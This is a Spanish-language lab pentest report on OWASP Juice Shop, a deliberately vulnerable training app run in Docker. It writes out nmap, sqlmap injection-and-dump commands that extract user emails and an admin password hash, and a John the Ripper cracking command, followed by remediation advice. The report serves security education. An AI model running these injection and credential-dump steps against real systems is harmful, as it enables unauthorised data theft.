Informe de Pentest Ético sobre OWASP Juice Shop

Objetivo general
Realizar una auditoría de seguridad básica y documentada de OWASP Juice Shop, simulando un escenario de hacking ético paso a paso.

Instalación de herramientas

Se preparó un entorno Kali Linux con las utilidades necesarias mediante:

sudo apt update

sudo apt install -y nmap burpsuite sqlmap john

Se verificaron las versiones de cada herramienta:

nmap --version

burpsuite --version

sqlmap --version

john --version

Preparación del entorno

OWASP Juice Shop se desplegó en Docker con el siguiente comando:

docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop:latest

La aplicación quedó accesible en `http://192.168.0.105:3000` (IP de la máquina anfitriona).

Verificación de acceso

Se empleó Nmap para confirmar el estado del puerto 3000:

nmap -p 3000 192.168.0.105

Resultado: puerto `3000/tcp` en estado **open**, servicio HTTP identificado.

Confirmación de inyección SQL

Sqlmap se utilizó para validar la vulnerabilidad en el parámetro `q` de la API de búsqueda:

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2

Salida: inyección SQL confirmada; motor de base de datos SQLite.

Enumeración y extracción de datos

Se listaron bases de datos, tablas y columnas para la extracción de credenciales:

sqlmap -u ".../search?q=1" --batch --level=2 --dbs

sqlmap -u ".../search?q=1" --batch --level=2 -D main --tables

sqlmap -u ".../search?q=1" --batch --level=2 -D main -T Users --columns

sqlmap -u ".../search?q=1" --batch --level=2 -D main -T Users -C email,password --dump

Se obtuvo la tabla `Users` con columnas `email` y `password`. Ejemplo de credenciales extraídas:

- `admin@juice-sh.op` – `0c36e517e3fa95aabf1bbffc6744a4ef`

Crackeo de contraseñas (opcional)

El hash extraído se intentó descifrar con John the Ripper:

echo '0c36e517e3fa95aabf1bbffc6744a4ef' > hash.txt

john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Resultados y evidencias

Se incluyen capturas de pantalla de los comandos Nmap, sqlmap y John, así como fragmentos de salida relevantes en cada fase.

Tabla de vulnerabilidades

Vulnerabilidad	Descripción	Riesgo	Recomendación
Inyección SQL en API	Parámetro q sin sanitizar permite extracción de datos	Alto	Implementar consultas parametrizadas y validación de entrada
Hashing obsoleto (MD5)	Contraseñas almacenadas con algoritmo vulnerable	Medio	Migrar a bcrypt o Argon2 y exigir contraseñas robustas

Recomendaciones técnicas

Se recomienda validar y sanitizar todos los parámetros de entrada, emplear prepared statements en lugar de concatenar queries, actualizar el esquema de almacenamiento de contraseñas a algoritmos seguros, y realizar auditorías periódicas de seguridad.

Reflexión ética y profesional

La auditoría se llevó a cabo exclusivamente en un entorno aislado y controlado, evitando cualquier interacción fuera del alcance autorizado. Durante el proceso se respetaron principios de confidencialidad, minimización de riesgo y entrega de informes transparentes. Este ejercicio puso de manifiesto la facilidad con que una API vulnerable puede exponer información sensible y el profundo impacto que ello tendría en un sistema productivo.